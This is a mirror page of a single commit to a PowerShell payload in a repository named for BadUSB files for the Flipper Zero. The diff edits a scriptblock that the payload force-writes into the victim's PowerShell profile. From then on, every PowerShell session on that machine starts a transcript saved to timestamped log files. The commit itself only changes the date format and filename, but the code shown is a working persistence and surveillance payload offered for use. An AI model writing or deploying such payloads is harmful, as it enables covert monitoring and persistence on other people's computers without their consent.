mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2026-01-26 03:04:47 -08:00
Update main.ps1
This commit is contained in:
@@ -108,15 +108,15 @@ if (-not (Test-Path `$transcriptDir))
|
||||
{
|
||||
New-Item -Type Directory `$transcriptDir
|
||||
}
|
||||
`$dateStamp = Get-Date -Format ((Get-culture).DateTimeFormat.SortableDateTimePattern -replace ':','-')
|
||||
`$dateStamp = Get-Date -Format ((Get-culture).DateTimeFormat.SortableDateTimePattern -replace ':','.')
|
||||
try
|
||||
{
|
||||
Start-Transcript "`$transcriptDir\Transcript-`$dateStamp.txt" | Out-Null
|
||||
Start-Transcript "`$transcriptDir\Transcript.`$dateStamp.txt" | Out-File -FilePath "$transcriptDir\Transcripts_Logging.txt" -Append
|
||||
}
|
||||
catch [System.Management.Automation.PSNotSupportedException]
|
||||
{
|
||||
return
|
||||
}
|
||||
}
|
||||
"@
|
||||
|
||||
$scriptblock | Out-File -FilePath $Profile -Force
|
||||
|
||||
Reference in New Issue
Block a user